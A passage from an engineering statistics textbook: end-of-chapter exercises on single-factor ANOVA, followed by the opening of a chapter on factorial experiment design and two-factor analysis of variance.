13-42. Consider the computer output below.

One-way ANOVA: y versus Factor

Source	DF	SS	MS	F	P
Factor	?	?	?	?	?
Error	15	167.5	?		
Total	19	326.2			

S = 3.342 R−Sq = ? R−Sq(adj) = 34.96%

(a) How many levels of the factor were used in this experiment?
(b) How many replicates were used?
(c) Fill in the missing information. Use bounds for the P-value.
(d) What conclusions would you draw if $\alpha = 0.05$? What if $\alpha = 0.01$?

13-43. Consider the computer output below.

Randomized Block ANOVA: y versus Factor, Block

Source	DF	SS	MS	F	P
Factor	?	126.880	63.4401	?	?
Block	?	54.825	18.2751		
Error	6	?	2.7403		
Total	11	198.147			

(a) How many levels of the factor were used in this experiment?
(b) How many blocks were used?
(c) Fill in the missing information. Use bounds for the *P*-value.
(d) What conclusions would you draw if $\alpha = 0.05$? What if $\alpha = 0.01$?

13-44. An article in *Lubrication Engineering* (December 1990) described the results of an experiment designed to investigate the effects of carbon material properties on the progression of blisters on carbon face seals. The carbon face seals are used extensively in equipment such as air turbine starters. Five different carbon materials were tested, and the surface roughness was measured. The data are as follows:

Carbon Material Type	Surface Roughness					
EC10	0.50	0.55	0.55	0.36		
EC10A	0.31	0.07	0.25	0.18	0.56	0.20
EC4	0.20	0.28	0.12			
EC1	0.10	0.16				

(a) Does carbon material type have an effect on mean surface roughness? Use $\alpha = 0.05$.
(b) Find the residuals for this experiment. Does a normal probability plot of the residuals indicate any problem with the normality assumption?
(c) Plot the residuals versus $\hat{y}_{ij}$. Comment on the plot.
(d) Find a 95% confidence interval on the difference between the mean surface roughness between the EC10 and the EC1 carbon grades.
(e) Apply the Fisher LSD method to this experiment. Summarize your conclusions regarding the effect of material type on surface roughness.

13-45. An article in the *IEEE Transactions on Components, Hybrids, and Manufacturing Technology* (Vol. 15, No. 2, 1992, pp. 146–153) described an experiment in which the contact resistance of a brake-only relay was studied for three different materials (all were silver-based alloys). The data are as follows.

Alloy	Contact Resistance				
1	95	97	99	98	99
	99	99	94	95	98
2	104	102	102	105	99
	102	111	103	100	103
3	119	130	132	136	141
	172	145	150	144	135

(a) Does the type of alloy affect mean contact resistance? Use $\alpha = 0.01$.
(b) Use Fisher's LSD method to determine which means differ.
(c) Find a 99% confidence interval on the mean contact resistance for alloy 3.
(d) Analyze the residuals for this experiment.

13-46. An article in the *Journal of Quality Technology* (Vol. 14, No. 2, 1982, pp. 80–89) described an experiment in which three different methods of preparing fish are evaluated on the basis of sensory criteria and a quality score is

assigned. Assume that these methods have been randomly selected from a large population of preparation methods. The data are in the following table:

Method	Score			
1	24.4	23.2	25.0	19.7
	22.2	24.4	23.8	18.0
2	22.1	19.5	17.3	19.7
	22.3	23.2	21.4	22.6
3	23.3	22.8	22.4	23.7
	20.4	23.5	20.8	24.1

(a) Is there any difference in preparation methods? Use $\alpha = 0.05$.
(b) Calculate the P-value for the F-statistic in part (a).
(c) Analyze the residuals from this experiment and comment on model adequacy.
(d) Estimate the components of variance.

13-47. An article in the *Journal of Agricultural Engineering Research* (Vol. 52, 1992, pp. 53–76) described an experiment to investigate the effect of drying temperature of wheat grain on the baking quality of bread. Three temperature levels were used, and the response variable measured was the volume of the loaf of bread produced. The data are as follows:

Temperature (°C)	Volume (CC)				
70.0	1245	1235	1285	1245	1235
75.0	1235	1240	1200	1220	1210
80.0	1225	1200	1170	1155	1095

(a) Does drying temperature affect mean bread volume? Use $\alpha = 0.01$.
(b) Find the P-value for this test.
(c) Use the Fisher LSD method to determine which means are different.
(d) Analyze the residuals from this experiment and comment on model adequacy.

13-48. An article in *Agricultural Engineering* (December 1964, pp. 672–673) described an experiment in which the daily weight gain of swine is evaluated at different levels of housing temperature. The mean weight of each group of swine at the start of the experiment is considered to be a nuisance factor. The data from this experiment are as follows:

Mean Weight (lbs)	Housing Air Temperatures (degrees F)					
	50	60	70	80	90	100
100	1.37	1.58	2.00	1.97	1.40	0.39
150	1.47	1.75	2.16	1.82	1.14	−0.19
200	1.19	1.91	2.22	1.67	0.88	−0.77

(a) Does housing air temperature affect mean weight gain? Use $\alpha = 0.05$.
(b) Use Fisher's LSD method to determine which temperature levels are different.
(c) Analyze the residuals from this experiment and comment on model adequacy.

13-49. An article in *Communications of the ACM* (Vol. 30, No. 5, 1987) studied different algorithms for estimating software development costs. Six algorithms were applied to eight software development projects and the percent error in estimating the development cost was observed. The data are in Table 13-17.
(a) Do the algorithms differ in their mean cost estimation accuracy? Use $\alpha = 0.05$.
(b) Analyze the residuals from this experiment.
(c) Which algorithm would you recommend for use in practice?

13-50. An article in *Nature Genetics* (2003, Vol. 34(1), pp. 85–90) "Treatment-specific changes in gene expression discriminate in vivo drug response in human leukemia cells" studied gene expression as a function of different treatments

Table 13-17 Software Development Costs

Algorithm	Project 1	2	3	4	5	6	7	8
1(SLIM)	1244	21	82	2221	905	839	527	122
2(COCOMO-A)	281	129	396	1306	336	910	473	199
3(COCOMO-R)	220	84	458	543	300	794	488	142
4(COCOMO-C)	225	83	425	552	291	826	509	153
5(FUNCTION POINTS)	19	11	−34	121	15	103	87	−17
6(ESTIMALS)	−20	35	−53	170	104	199	142	41

Table 13-18 Treatment-Specific Changes in Gene Expression

Treatments	Observations									
MP ONLY	334.5	31.6	701	41.2	61.2	69.6	67.5	66.6	120.7	881.9
MP+HDMTX	919.4	404.2	1024.8	54.1	62.8	671.6	882.1	354.2	321.9	91.1
MP+LDMTX	108.4	26.1	240.8	191.1	69.7	242.8	62.7	396.9	23.6	290.4

for leukemia. Three treatment groups are: mercaptopurine (MP) only; low-dose methotrexate (LDMTX) and MP; and high-dose methotrexate (HDMTX) and MP. Each group contained ten subjects. The responses from a specific gene are shown in Table 13-18.

(a) Check the normality of the data. Can we assume these samples are from normal populations?

(b) Take the logarithm of the raw data and check the normality of the transformed data. Is there evidence to support the claim that the treatment means differ for the transformed data? Use $\alpha = 0.1$.

(c) Analyze the residuals from the transformed data and comment on model adequacy.

13-51. Consider an ANOVA situation with $a = 5$ treatments. Let $\sigma^2 = 9$ and $\alpha = 0.05$, and suppose that $n = 4$.

(a) Find the power of the ANOVA F-test when $\mu_1 = \mu_2 = \mu_3 = 1$, $\mu_4 = 3$, and $\mu_5 = 2$.

(b) What sample size is required if we want the power of the F-test in this situation to be at least 0.90?

13-52. Consider an ANOVA situation with $a = 4$ means $\mu_1 = 1$, $\mu_2 = 5$, $\mu_3 = 8$, and $\mu_4 = 4$. Suppose that $\sigma^2 = 4$, $n = 4$, and $\alpha = 0.05$.

(a) Find the power of the ANOVA F-test.

(b) How large would the sample size have to be if we want the power of the F-test for detecting this difference in means to be at least 0.90?

MIND-EXPANDING EXERCISES

13-53. Show that in the fixed-effects model analysis of variance $E(MS_E) = \sigma^2$. How would your development change if the random-effects model had been specified?

13-54. Consider testing the equality of the means of two normal populations where the variances are unknown but are assumed equal. The appropriate test procedure is the two-sample t-test. Show that the two-sample t-test is equivalent to the single-factor analysis of variance F-test.

13-55. Consider the ANOVA with $a = 2$ treatments. Show that the MS_E in this analysis is equal to the pooled variance estimate used in the two-sample t-test.

13-56. Show that the variance of the linear combination

$$\sum_{i=1}^{a} c_i Y_i. \text{ is } \sigma^2 \sum_{i=1}^{a} n_i c_i^2.$$

13-57. In a fixed-effects model, suppose that there are n observations for each of four treatments. Let Q_1^2, Q_2^2, and Q_3^2 be single-degree-of-freedom sums of squares for orthogonal contrasts. A contrast is a linear combination of the treatment means with coefficients that sum to zero. The coefficient vectors of orthogonal contrasts are orthogonal vectors. Prove that $SS_{\text{Treatments}} = Q_1^2 + Q_2^2 + Q_3^2$.

13-58. Consider the single-factor completely randomized design with a treatments and n replicates. Show that if the difference between any two treatment means is as large as D, the minimum value that the OC curve parameter Φ^2 can take is

$$\Phi^2 = \frac{nD^2}{2a\sigma^2}$$

13-59. Consider the single-factor completely randomized design. Show that a $100(1 - \alpha)$ percent confidence interval for σ^2 is

$$\frac{(N-a)MS_E}{\chi^2_{\alpha/2,N-a}} \le \sigma^2 \le \frac{(N-a)MS_E}{\chi^2_{1-\alpha/2,N-a}}$$

where N is the total number of observations in the experimental design.

13-60. Consider the random-effect model for the single-factor completely randomized design. Show that a $100(1 - \alpha)\%$ confidence interval on the ratio of variance components σ_τ^2/σ^2 is given by

$$L \le \frac{\sigma_\tau^2}{\sigma^2} \le U$$

MIND-EXPANDING EXERCISES

where

$$L = \frac{1}{n}\left[\frac{MS_{\text{Treatments}}}{MS_E} \times \left(\frac{1}{f_{\alpha/2,a-1,N-a}}\right) - 1\right]$$

and

$$U = \frac{1}{n}\left[\frac{MS_{\text{Treatments}}}{MS_E} \times \left(\frac{1}{f_{1-\alpha/2,a-1,N-a}}\right) - 1\right]$$

13-61. Consider a random-effects model for the single-factor completely randomized design. (a) Show that a $100(1 - \alpha)\%$ confidence interval on the ratio $\sigma_\tau^2/(\sigma^2 + \sigma_\tau^2)$ is

$$\frac{L}{1 + L} \le \frac{\sigma_\tau^2}{\sigma^2 + \sigma_\tau^2} \le \frac{U}{1 + U}$$

where L and U are as defined in Exercise 13-60.

(b) Use the results of part (a) to find a $100(1 - \alpha)\%$ confidence interval for $\sigma^2/(\sigma^2 + \sigma_\tau^2)$.

13-62. Consider the fixed-effect model of the completely randomized single-factor design. The model parameters are restricted by the constraint $\sum_{i=1}^{a} \tau_i = 0$. (Actually, other restrictions could be used, but this one is simple and results in intuitively pleasing estimates for the model parameters.) For the case of unequal sample size $n_1, n_2, \ldots, n_a$, the restriction is $\sum_{i=1}^{a} n_i\tau_i = 0$. Use this to show that

$$E(MS_{\text{Treatments}}) = \sigma^2 + \frac{\sum_{i=1}^{a} n_i\tau_i^2}{a - 1}$$

Does this suggest that the null hypothesis in this model is H_0: $n_1\tau_1 = n_2\tau_2 = \cdots = n_a\tau_a = 0$?

13-63. **Sample Size Determination.** In the single-factor completely randomized design, the accuracy of a $100(1 - \alpha)\%$ confidence interval on the difference in any two treatment means is $t_{\alpha/2,a(n-1)}\sqrt{2MS_E/n}$.

(a) Show that if A is the desired accuracy of the interval, the sample size required is

$$n = \frac{2F_{\alpha/2,1,a(n-1)}MS_E}{A^2}$$

(b) Suppose that in comparing $a = 5$ means we have a preliminary estimate of σ^2 of 4. If we want the 95% confidence interval on the difference in means to have an accuracy of 2, how many replicates should we use?

IMPORTANT TERMS AND CONCEPTS

Analysis of variance (ANOVA)
Blocking
Completely randomized experiment
Expected mean squares
Fisher's least significant difference (LSD) method
Fixed factor
Graphical comparison of means
Levels of a factor
Mean square
Multiple comparisons
Nuisance factors
Random factor
Randomization
Randomized complete block design
Residual analysis and model adequacy checking
Sample size and replication in an experiment
Treatment effect
Variance component

14

©Oleksiy Kondratyuk/iStockphoto

Design of Experiments with Several Factors

Carotenoids are fat-soluble pigments that occur naturally in fruits in vegetables that are recommended for healthy diets. A well-known carotenoid is beta-carotene. Astaxanthin is another carotenoid that is a strong antioxidant and commercially produced. An exercise later in this chapter describes an experiment in *Biotechnology Progress* to promote astaxanthin production. Seven variables were considered important to production: photon flux density, and concentrations of nitrogen, phosphorous, magnesium, acetate, ferrous, NaCl. It was important to study the effects of these factors, but also the effects of combinations on the production. Even with only a high and low setting for each variable, an experiment that uses all possible combinations requires $2^7 = 128$ tests. There are a number of disadvantages of such a large experiment and a question is whether a fraction of the full set of tests can be selected to provide the most important information about the effects of these variables in many fewer runs. The example used a surprisingly small set of 16 runs ($16/128 = 1/8$ fraction). The design and analysis of experiments of this type is the focus of this chapter. Such experiments are widely-used throughout modern engineering development and scientific studies.

CHAPTER OUTLINE

14-1 INTRODUCTION

14-2 FACTORIAL EXPERIMENTS

14-3 TWO-FACTOR FACTORIAL EXPERIMENTS

- 14-3.1 Statistical Analysis of the Fixed-Effects Model
- 14-3.2 Model Adequacy Checking
- 14-3.3 One Observation per Cell

14-4 GENERAL FACTORIAL EXPERIMENTS

14-5 2^k FACTORIAL DESIGNS

- 14-5.1 2^2 Design
- 14-5.2 2^k Design for $k \geq 3$ Factors
- 14-5.3 Single Replicate of the 2^k Design
- 14-5.4 Addition of Center Points to a 2^k Design

14-6 BLOCKING AND CONFOUNDING IN THE 2^k DESIGN
14-7 FRACTIONAL REPLICATION OF THE 2^k DESIGN
14-7.1 One-Half Fraction of the 2^k Design
14-7.2 Smaller Fractions: The 2^{k-p} Fractional Factorial
14-8 RESPONSE SURFACE METHODS AND DESIGNS

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Design and conduct engineering experiments involving several factors using the factorial design approach**
2. **Know how to analyze and interpret main effects and interactions**
3. **Understand how the ANOVA is used to analyze the data from these experiments**
4. **Assess model adequacy with residual plots**
5. **Know how to use the two-level series of factorial designs**
6. **Understand how two-level factorial designs can be run in blocks**
7. **Design and conduct two-level fractional factorial designs**
8. **Test for curvature in two-level factorial designs by using center points**
9. **Use response surface methodology for process optimization experiments**

14-1 INTRODUCTION

An **experiment** is just a **test** or series of tests. Experiments are performed in all engineering and scientific disciplines and are an important part of the way we learn about how systems and processes work. The validity of the conclusions that are drawn from an experiment depends to a large extent on how the experiment was conducted. Therefore, the **design** of the experiment plays a major role in the eventual solution of the problem that initially motivated the experiment.

In this chapter we focus on experiments that include two or more factors that the experimenter thinks may be important. A **factorial experiment** is a powerful technique for this type of problem. Generally, in a factorial experimental design, experimental trials (or runs) are performed at all combinations of factor levels. For example, if a chemical engineer is interested in investigating the effects of reaction time and reaction temperature on the yield of a process, and if two levels of time (1 and 1.5 hours) and two levels of temperature (125 and 150°F) are considered important, a factorial experiment would consist of making experimental runs at each of the four possible combinations of these levels of reaction time and reaction temperature.

Experimental design is an extremely important tool for engineers and scientists who are interested in improving the performance of a manufacturing process. It also has extensive application in the development of new processes and in new product design. We now give some examples.

Process Characterization Experiment

In an article in *IEEE Transactions* on "Electronics Packaging Manufacturing" (2001, Vol. 24(4), pp. 249–254), the authors discussed the change to lead-free solder in surface mount technology (SMT). SMT is a process to assemble electronic components to a printed circuit board. Solder paste is printed through a stencil onto the printed circuit board. The stencil-printing machine has squeegees; the paste rolls in front of the squeegee and fills the apertures in the stencil. The squeegee shears off the paste in the apertures as it moves over the stencil. Once the print stroke

Figure 14-1 The flow solder experiment.

is completed, the board is separated mechanically from the stencil. Electronic components are placed on the deposits and the board is heated so that the paste reflows to form the solder joints.

The current SMT soldering process is based on tin–lead solders, and it has been well developed and refined over the years to operate at a competitive cost. The process will have several (perhaps many) variables, and all of them are not equally important. The initial list of candidate variables to be included in an experiment is constructed by combining the knowledge and information about the process from all team members. For example, engineers would conduct a **brainstorming** session and invite manufacturing personnel with SMT experience to participate. SMT has several variables that can be controlled. These include

> (1) squeegee speed, (2) squeegee pressure, (3) squeegee angle, (4) metal or polyurethane squeegee, (5) squeegee vibration, (6) delay time before the squeegee lifts from the stencil, (7) stencil separation speed, (8) print gap, (9) solder paste alloy, (10) paste pretreatment (11) paste particle size, (12) flux type, (13) reflow temperature, (14) reflow time, and so forth.

In addition to these controllable factors, there are several other factors that cannot be easily controlled during routine manufacturing, including

> (1) thickness of the printed circuit board, (2) types of components used on the board and aperture width and length, (3) layout of the components on the board, (4) paste density variation, (5) environmental factors, (6) squeegee wear, (7) cleanliness, and so forth.

Sometimes we call the uncontrollable factors *noise* factors. A schematic representation of the process is shown in Fig. 14-1. In this situation, the engineer wants to **characterize** the SMT process; that is, to determine the factors (both controllable and uncontrollable) that affect the occurrence of defects on the printed circuit boards. To determine these factors, an experiment can be designed to estimate the magnitude and direction of the factor effects. Sometimes we call such an experiment a **screening experiment.** The information from this characterization study, or screening experiment, can help determine the critical process variables as well as the direction of adjustment for these factors in order to reduce the number of defects, and assist in determining which process variables should be carefully controlled during manufacturing to prevent high defect levels and erratic process performance.

Optimization Experiment

In a characterization experiment, we are interested in determining which factors affect the response. A logical next step is to determine the region in the important factors that leads to an **optimum response.** For example, if the response is cost, we will look for a region of minimum cost.

As an illustration, suppose that the yield of a chemical process is influenced by the operating temperature and the reaction time. We are currently operating the process at 155°F and 1.7 hours of reaction time, and the current process yield is around 75%. Figure 14-2 shows a view of the time–temperature space from above. In this graph we have connected points of constant yield with lines. These lines are yield **contours,** and we have shown the

Figure 14-2 Contour plot of yield as a function of reaction time and reaction temperature, illustrating an optimization experiment.

contours at 60, 70, 80, 90, and 95% yield. To locate the optimum, we might begin with a factorial experiment such as we describe below, with the two factors, time and temperature, run at two levels each at 10°F and 0.5 hours above and below the current operating conditions. This two-factor factorial design is shown in Fig. 14-2. The average responses observed at the four points in the experiment (145°F, 1.2 hours; 145°F, 2.2 hours; 165°F, 1.2 hours; and 165°F, 2.2 hours) indicate that we should move in the general direction of increased temperature and lower reaction time to increase yield. A few additional runs could be performed in this direction to locate the region of maximum yield.

A Product Design Example

We can also use experimental design in the development of new products. For example, suppose that a group of engineers are designing a door hinge for an automobile. The product characteristic is the check effort, or the holding ability, of the latch that prevents the door from swinging closed when the vehicle is parked on a hill. The check mechanism consists of a leaf spring and a roller. When the door is opened, the roller travels through an arc causing the leaf spring to be compressed. To close the door, the spring must be forced aside, and this creates the check effort. The engineering team thinks that check effort is a function of the following factors:

(1) roller travel distance, (2) spring height from pivot to base, (3) horizontal distance from pivot to spring, (4) free height of the reinforcement spring, (5) free height of the main spring.

The engineers can build a prototype hinge mechanism in which all these factors can be varied over certain ranges. Once appropriate levels for these five factors have been identified, an experiment can be designed consisting of various combinations of the factor levels, and the prototype can be tested at these combinations. This will produce information concerning which factors are most influential on the latch check effort, and through analysis of this information, the latch design can be improved.

Most of the statistical concepts introduced in Chapter 13 for single-factor experiments can be extended to the factorial experiments of this chapter. The analysis of variance (ANOVA), in particular, will continue to be used as a tool for statistical data analysis. We will also introduce several graphical methods that are useful in analyzing the data from designed experiments.

14-2 FACTORIAL EXPERIMENTS

When several factors are of interest in an experiment, a factorial experiment should be used. As noted previously, in these experiments factors are varied together.

Factorial Experiment

> By a **factorial experiment** we mean that in each complete trial or replicate of the experiment all possible combinations of the levels of the factors are investigated.

Thus, if there are two factors A and B with a levels of factor A and b levels of factor B, each replicate contains all ab treatment combinations.

The effect of a factor is defined as the change in response produced by a change in the level of the factor. It is called a **main effect** because it refers to the primary factors in the study. For example, consider the data in Table 14-1. This is a factorial experiment with two factors, A and B, each at two levels (A_{low}, A_{high}, and B_{low}, B_{high}). The main effect of factor A is the difference between the average response at the high level of A and the average response at the low level of A, or

$$A = \frac{30 + 40}{2} - \frac{10 + 20}{2} = 20$$

That is, changing factor A from the low level to the high level causes an average response increase of 20 units. Similarly, the main effect of B is

$$B = \frac{20 + 40}{2} - \frac{10 + 30}{2} = 10$$

In some experiments, the difference in response between the levels of one factor is not the same at all levels of the other factors. When this occurs, there is an **interaction** between the factors. For example, consider the data in Table 14-2. At the low level of factor B, the A effect is

$$A = 30 - 10 = 20$$

and at the high level of factor B, the A effect is

$$A = 0 - 20 = -20$$

Since the effect of A depends on the level chosen for factor B, there is interaction between A and B.

Table 14-1 A Factorial Experiment with Two Factors

	Factor B	
Factor A	B_{low}	B_{high}
A_{low}	10	20
A_{high}	30	40

Table 14-2 A Factorial Experiment with Interaction

	Factor B	
Factor A	B_{low}	B_{high}
A_{low}	10	20
A_{high}	30	0

When an interaction is large, the corresponding main effects have very little practical meaning. For example, by using the data in Table 14-2, we find the main effect of A as

$$A = \frac{30 + 0}{2} - \frac{10 + 20}{2} = 0$$

and we would be tempted to conclude that there is no factor A effect. However, when we examined the effects of A at *different levels of factor B*, we saw that this was not the case. The effect of factor A depends on the levels of factor B. Thus, knowledge of the AB interaction is more useful than knowledge of the main effect. A significant interaction can mask the significance of main effects. Consequently, when interaction is present, the main effects of the factors involved in the interaction may not have much meaning.

It is easy to estimate the interaction effect in factorial experiments such as those illustrated in Tables 14-1 and 14-2. In this type of experiment, when both factors have two levels, the AB interaction effect is the difference in the diagonal averages. This represents one-half the difference between the A effects at the two levels of B. For example, in Table 14-1, we find the AB interaction effect to be

$$AB = \frac{20 + 30}{2} - \frac{10 + 40}{2} = 0$$

Thus, there is no interaction between A and B. In Table 14-2, the AB interaction effect is

$$AB = \frac{20 + 30}{2} - \frac{10 + 0}{2} = 20$$

As we noted before, the interaction effect in these data is very large.

The concept of interaction can be illustrated graphically in several ways. Figure 14-3 plots the data in Table 14-1 against the levels of A for both levels of B. Note that the B_{low} and B_{high} lines are approximately parallel, indicating that factors A and B do not interact significantly. Figure 14-4 presents a similar plot for the data in Table 14-2. In this graph, the B_{low} and B_{high} lines are not parallel, indicating the interaction between factors A and B. Such graphical displays are called **two-factor interaction plots.** They are often useful in presenting the results of experiments, and many computer software programs used for analyzing data from designed experiments will construct these graphs automatically.

Figure 14-3 Factorial experiment, no interaction.

Figure 14-4 Factorial experiment, with interaction.

Figure 14-5 Three-dimensional surface plot of the data from Table 14-1, showing the main effects of the two factors *A* and *B*.

Figure 14-6 Three-dimensional surface plot of the data from Table 14-2 showing the effect of the *A* and *B* interaction.

Figures 14-5 and 14-6 present another graphical illustration of the data from Tables 14-1 and 14-2. In Fig. 14-3 we have shown a **three-dimensional surface plot** of the data from Table 14-1. These data contain no interaction, and the surface plot is a plane lying above the *A*-*B* space. The slope of the plane in the *A* and *B* directions is proportional to the main effects of factors *A* and *B*, respectively. Figure 14-6 is a surface plot of the data from Table 14-2. Notice that the effect of the interaction in these data is to "twist" the plane, so that there is curvature in the response function. **Factorial experiments are the only way to discover interactions between variables.**

An alternative to the factorial design that is (unfortunately) used in practice is to change the factors ***one at a time*** rather than to vary them simultaneously. To illustrate this one-factor-at-a-time procedure, suppose that an engineer is interested in finding the values of temperature and pressure that maximize yield in a chemical process. Suppose that we fix temperature at 155°F (the current operating level) and perform five runs at different levels of time, say, 0.5, 1.0, 1.5, 2.0, and 2.5 hours. The results of this series of runs are shown in Fig. 14-7. This figure indicates that maximum yield is achieved at about 1.7 hours of reaction time. To optimize temperature, the engineer then fixes time at 1.7 hours (the apparent optimum) and performs five runs at different temperatures, say, 140, 150, 160, 170, and 180°F. The results of this set of runs are plotted in Fig. 14-8. Maximum yield occurs at about 155°F. Therefore, we would conclude that running the process at 155°F and 1.7 hours is the best set of operating conditions, resulting in yields of around 75%.

Figure 14-7 Yield versus reaction time with temperature constant at 155°F.

Figure 14-8 Yield versus temperature with reaction time constant at 1.7 hours.

Figure 14-9 Optimization experiment using the one-factor-at-a-time method.

Figure 14-9 displays the contour plot of actual process yield as a function of temperature and time with the one-factor-at-a-time experiments superimposed on the contours. Clearly, this one-factor-at-a-time approach has failed dramatically here, as the true optimum is at least 20 yield points higher and occurs at much lower reaction times and higher temperatures. The failure to discover the importance of the shorter reaction times is particularly important because this could have significant impact on production volume or capacity, production planning, manufacturing cost, and total productivity.

The one-factor-at-a-time approach has failed here because it cannot detect the interaction between temperature and time. Factorial experiments are the only way to detect interactions. Furthermore, the one-factor-at-a-time method is inefficient. It will require more experimentation than a factorial, and as we have just seen, there is no assurance that it will produce the correct results.

14-3 TWO-FACTOR FACTORIAL EXPERIMENTS

The simplest type of factorial experiment involves only two factors, say A, and B. There are a levels of factor A and b levels of factor B. This two-factor factorial is shown in Table 14-3. The experiment has n **replicates,** and each replicate contains all ab treatment combinations. The observation in the ijth cell for the kth replicate is denoted by y_{ijk}. In performing the experiment, the abn observations would be run in **random order.** Thus, like the single-factor experiment studied in Chapter 13, the two-factor factorial is a *completely randomized design*.

The observations may be described by the linear statistical model

$$Y_{ijk} = \mu + \tau_i + \beta_j + (\tau\beta)_{ij} + \epsilon_{ijk} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, b \\ k = 1, 2, \ldots, n \end{cases} \tag{14-1}$$

Table 14-3 Data Arrangement for a Two-Factor Factorial Design

		Factor *B*					
		1	2	$\cdots$	b	Totals	Averages
	1	$y_{111}, y_{112}, \ldots, y_{11n}$	$y_{121}, y_{122}, \ldots, y_{12n}$		$y_{1b1}, y_{1b2}, \ldots, y_{1bn}$	$y_{1\cdot\cdot}$	$\bar{y}_{1\cdot\cdot}$
Factor *A*	2	$y_{211}, y_{212}, \ldots, y_{21n}$	$y_{221}, y_{222}, \ldots, y_{22n}$		$y_{2b1}, y_{2b2}, \ldots, y_{2bn}$	$y_{2\cdot\cdot}$	$\bar{y}_{2\cdot\cdot}$
	$\vdots$						
	a	$y_{a11}, y_{a12}, \ldots, y_{a1n}$	$y_{a21}, y_{a22}, \ldots, y_{a2n}$		$y_{ab1}, y_{ab2}, \ldots, y_{abn}$	$y_{a\cdot\cdot}$	$\bar{y}_{a\cdot\cdot}$
Totals		$y_{\cdot 1\cdot}$	$y_{\cdot 2\cdot}$		$y_{\cdot b\cdot}$	$y_{\cdot\cdot\cdot}$	
Averages		$\bar{y}_{\cdot 1\cdot}$	$\bar{y}_{\cdot 2\cdot}$		$\bar{y}_{\cdot b\cdot}$		$\bar{y}_{\cdot\cdot\cdot}$

where μ is the overall mean effect, τ_i is the effect of the ith level of factor A, β_j is the effect of the jth level of factor B, $(\tau\beta)_{ij}$ is the effect of the interaction between A and B, and ϵ_{ijk} is a random error component having a normal distribution with mean zero and variance σ^2. We are interested in testing the hypotheses of no main effect for factor A, no main effect for B, and no AB interaction effect. As with the single-factor experiments of Chapter 13, the analysis of variance (ANOVA) will be used to test these hypotheses. Since there are two factors in the experiment, the test procedure is sometimes called the two-way analysis of variance.

14-3.1 Statistical Analysis of the Fixed-Effects Model

Suppose that A and B are **fixed factors.** That is, the a levels of factor A and the b levels of factor B are specifically chosen by the experimenter, and inferences are confined to these levels only. In this model, it is customary to define the effects τ_i, β_j, and $(\tau\beta)_{ij}$ as deviations from the mean, so that $\sum_{i=1}^{a}\tau_i = 0$, $\sum_{j=1}^{b}\beta_j = 0$, $\sum_{i=1}^{a}(\tau\beta)_{ij} = 0$, and $\sum_{j=1}^{b}(\tau\beta)_{ij} = 0$.

The **analysis of variance** can be used to test hypotheses about the main factor effects of A and B and the AB interaction. To present the ANOVA, we will need some symbols, some of which are illustrated in Table 14-3. Let $y_{i\cdot\cdot}$ denote the total of the observations taken at the ith level of factor A; $y_{\cdot j\cdot}$ denote the total of the observations taken at the jth level of factor B; $y_{ij\cdot}$ denote the total of the observations in the ijth cell of Table 14-3; and $y_{\cdot\cdot\cdot}$ denote the grand total of all the observations. Define $\bar{y}_{i\cdot\cdot}$, $\bar{y}_{\cdot j\cdot}$, $\bar{y}_{ij\cdot}$, and $\bar{y}_{\cdot\cdot\cdot}$ as the corresponding row, column, cell, and grand averages. That is,

Notation for Totals and Means

$$y_{i\cdot\cdot} = \sum_{j=1}^{b}\sum_{k=1}^{n} y_{ijk} \qquad \bar{y}_{i\cdot\cdot} = \frac{y_{i\cdot\cdot}}{bn} \qquad i = 1, 2, \ldots, a$$

$$y_{\cdot j\cdot} = \sum_{i=1}^{a}\sum_{k=1}^{n} y_{ijk} \qquad \bar{y}_{\cdot j\cdot} = \frac{y_{\cdot j\cdot}}{an} \qquad j = 1, 2, \ldots, b$$

$$y_{ij\cdot} = \sum_{k=1}^{n} y_{ijk} \qquad \bar{y}_{ij\cdot} = \frac{y_{ij\cdot}}{n} \qquad i = 1, 2, \ldots, a$$

$$y_{\cdot\cdot\cdot} = \sum_{i=1}^{a}\sum_{j=1}^{b}\sum_{k=1}^{n} y_{ijk} \qquad \bar{y}_{\cdot\cdot\cdot} = \frac{y_{\cdot\cdot\cdot}}{abn} \qquad j = 1, 2, \ldots, b$$

The hypotheses that we will test are as follows:

1. H_0: $\tau_1 = \tau_2 = \cdots = \tau_a = 0$ (no main effect of factor A)
   H_1: at least one $\tau_i \neq 0$
2. H_0: $\beta_1 = \beta_2 = \cdots = \beta_b = 0$ (no main effect of factor B) (14-2)
   H_1: at least one $\beta_j \neq 0$
3. H_0: $(\tau\beta)_{11} = (\tau\beta)_{12} = \cdots = (\tau\beta)_{ab} = 0$ (no interaction)
   H_1: at least one $(\tau\beta)_{ij} \neq 0$

As before, the ANOVA tests these hypotheses by decomposing the total variability in the data into component parts and then comparing the various elements in this decomposition. Total variability is measured by the total sum of squares of the observations

$$SS_T = \sum_{i=1}^{a} \sum_{j=1}^{b} \sum_{k=1}^{n} (y_{ijk} - \bar{y}_{...})^2$$

and the sum of squares decomposition is defined below.

ANOVA Sum of Squares Identity: Two Factors

The **sum of squares identity for a two-factor ANOVA** is

$$\sum_{i=1}^{a} \sum_{j=1}^{b} \sum_{k=1}^{n} (y_{ijk} - \bar{y}_{...})^2 = bn \sum_{i=1}^{a} (\bar{y}_{i..} - \bar{y}_{...})^2 + an \sum_{j=1}^{b} (\bar{y}_{.j.} - \bar{y}_{...})^2$$
$$+ n \sum_{i=1}^{a} \sum_{j=1}^{b} (\bar{y}_{ij.} - \bar{y}_{i..} - \bar{y}_{.j.} + \bar{y}_{...})^2 + \sum_{i=1}^{a} \sum_{j=1}^{b} \sum_{k=1}^{n} (y_{ijk} - \bar{y}_{ij.})^2 \qquad (14\text{-}3)$$

or symbolically,

$$SS_T = SS_A + SS_B + SS_{AB} + SS_E \qquad (14\text{-}4)$$

Equations 14-3 and 14-4 state that the total sum of squares SS_T is partitioned into a sum of squares for the row factor A (SS_A), a sum of squares for the column factor B (SS_B), a sum of squares for the interaction between A and B (SS_{AB}), and an error sum of squares (SS_E). There are $abn - 1$ total degrees of freedom. The main effects A and B have $a - 1$ and $b - 1$ degrees of freedom, while the interaction effect AB has $(a - 1)(b - 1)$ degrees of freedom. Within each of the ab cells in Table 14-3, there are $n - 1$ degrees of freedom between the n replicates, and observations in the same cell can differ only because of random error. Therefore, there are $ab(n - 1)$ degrees of freedom for error. Therefore, the degrees of freedom are partitioned according to

$$abn - 1 = (a - 1) + (b - 1) + (a - 1)(b - 1) + ab(n - 1)$$

If we divide each of the sum of squares on the right-hand side of Equation 14-4 by the corresponding number of degrees of freedom, we obtain the **mean squares** for A, B, the interaction, and error:

